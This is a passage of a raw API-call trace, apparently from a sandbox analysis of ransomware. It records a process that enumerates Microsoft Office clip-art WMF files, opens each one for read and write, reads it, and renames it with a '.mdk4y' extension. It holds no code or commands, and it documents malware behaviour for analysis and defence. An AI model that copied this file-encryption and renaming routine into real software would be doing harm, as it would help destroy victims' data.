Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18202_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18202_.wmf.mdk4y")) returned 1 [0182.156] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.156] AreFileApisANSI () returned 1 [0182.156] GetACP () returned 0x4e4 [0182.156] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18203_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18203_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.156] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.157] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825738700000) returned 1 [0182.157] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x822, lpOverlapped=0x0) returned 1 [0182.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825741800000) returned 1 [0182.188] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825741800000) returned 1 [0182.189] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18203_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18203_.wmf.mdk4y")) returned 1 [0182.190] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.190] AreFileApisANSI () returned 1 [0182.190] GetACP () returned 0x4e4 [0182.190] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18204_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18204_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.190] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742000000) returned 1 [0182.190] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x814, lpOverlapped=0x0) returned 1 [0182.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742100000) returned 1 [0182.192] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742200000) returned 1 [0182.192] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18204_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18204_.wmf.mdk4y")) returned 1 [0182.192] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.192] AreFileApisANSI () returned 1 [0182.192] GetACP () returned 0x4e4 [0182.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18205_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18205_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.193] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742300000) returned 1 [0182.193] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8da, lpOverlapped=0x0) returned 1 [0182.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742500000) returned 1 [0182.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742500000) returned 1 [0182.195] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18205_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18205_.wmf.mdk4y")) returned 1 [0182.196] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.196] AreFileApisANSI () returned 1 [0182.196] GetACP () returned 0x4e4 [0182.196] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18206_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18206_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.196] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.196] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742600000) returned 1 [0182.196] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8da, lpOverlapped=0x0) returned 1 [0182.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742700000) returned 1 [0182.197] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742700000) returned 1 [0182.198] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18206_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18206_.wmf.mdk4y")) returned 1 [0182.198] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.198] AreFileApisANSI () returned 1 [0182.198] GetACP () returned 0x4e4 [0182.199] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18207_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18207_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.199] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.199] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825742900000) returned 1 [0182.199] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xfbc, lpOverlapped=0x0) returned 1 [0182.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825747100000) returned 1 [0182.241] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825747100000) returned 1 [0182.242] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18207_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18207_.wmf.mdk4y")) returned 1 [0182.243] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.243] AreFileApisANSI () returned 1 [0182.243] GetACP () returned 0x4e4 [0182.243] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18208_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18208_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.243] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.243] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825747400000) returned 1 [0182.244] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1b28, lpOverlapped=0x0) returned 1 [0182.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825748900000) returned 1 [0182.259] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825748900000) returned 1 [0182.260] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18208_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18208_.wmf.mdk4y")) returned 1 [0182.260] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.261] AreFileApisANSI () returned 1 [0182.261] GetACP () returned 0x4e4 [0182.261] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18209_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18209_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.261] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.262] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825749200000) returned 1 [0182.267] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc6e, lpOverlapped=0x0) returned 1 [0182.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825751300000) returned 1 [0182.283] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825751300000) returned 1 [0182.283] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18209_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18209_.wmf.mdk4y")) returned 1 [0182.285] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.285] AreFileApisANSI () returned 1 [0182.285] GetACP () returned 0x4e4 [0182.285] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18210_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18210_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.285] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.286] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825751600000) returned 1 [0182.286] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xc4c, lpOverlapped=0x0) returned 1 [0182.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825751800000) returned 1 [0182.288] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825751800000) returned 1 [0182.289] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18210_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18210_.wmf.mdk4y")) returned 1 [0182.290] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.290] AreFileApisANSI () returned 1 [0182.290] GetACP () returned 0x4e4 [0182.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18211_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18211_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.290] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.291] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825752100000) returned 1 [0182.291] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x738, lpOverlapped=0x0) returned 1 [0182.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825753300000) returned 1 [0182.303] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825753300000) returned 1 [0182.304] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18211_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18211_.wmf.mdk4y")) returned 1 [0182.305] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.305] AreFileApisANSI () returned 1 [0182.305] GetACP () returned 0x4e4 [0182.305] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18212_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18212_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.305] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.306] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825753600000) returned 1 [0182.306] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3d5c, lpOverlapped=0x0) returned 1 [0182.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825755000000) returned 1 [0182.320] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825755000000) returned 1 [0182.321] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18212_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18212_.wmf.mdk4y")) returned 1 [0182.322] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.322] AreFileApisANSI () returned 1 [0182.322] GetACP () returned 0x4e4 [0182.322] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18213_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18213_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.322] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.324] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825755400000) returned 1 [0182.324] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x704, lpOverlapped=0x0) returned 1 [0182.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825757300000) returned 1 [0182.343] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825757300000) returned 1 [0182.343] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18213_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18213_.wmf.mdk4y")) returned 1 [0182.345] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.345] AreFileApisANSI () returned 1 [0182.345] GetACP () returned 0x4e4 [0182.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18214_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18214_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.345] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.346] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825757600000) returned 1 [0182.346] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x7fc, lpOverlapped=0x0) returned 1 [0182.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825759400000) returned 1 [0182.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825759400000) returned 1 [0182.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18214_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18214_.wmf.mdk4y")) returned 1 [0182.365] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.365] AreFileApisANSI () returned 1 [0182.365] GetACP () returned 0x4e4 [0182.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18215_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18215_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.366] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825759600000) returned 1 [0182.366] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6a4, lpOverlapped=0x0) returned 1 [0182.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825759800000) returned 1 [0182.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825759800000) returned 1 [0182.368] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18215_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18215_.wmf.mdk4y")) returned 1 [0182.369] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0182.369] AreFileApisANSI () returned 1 [0182.369] GetACP () returned 0x4e4 [0182.369] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD18216_.WMF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD18216_.WMF", lpUsedDefaultChar=0x37dec0) returned 12 [0182.369] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0182.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825760000000) returned 1 [0182.370] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x726, 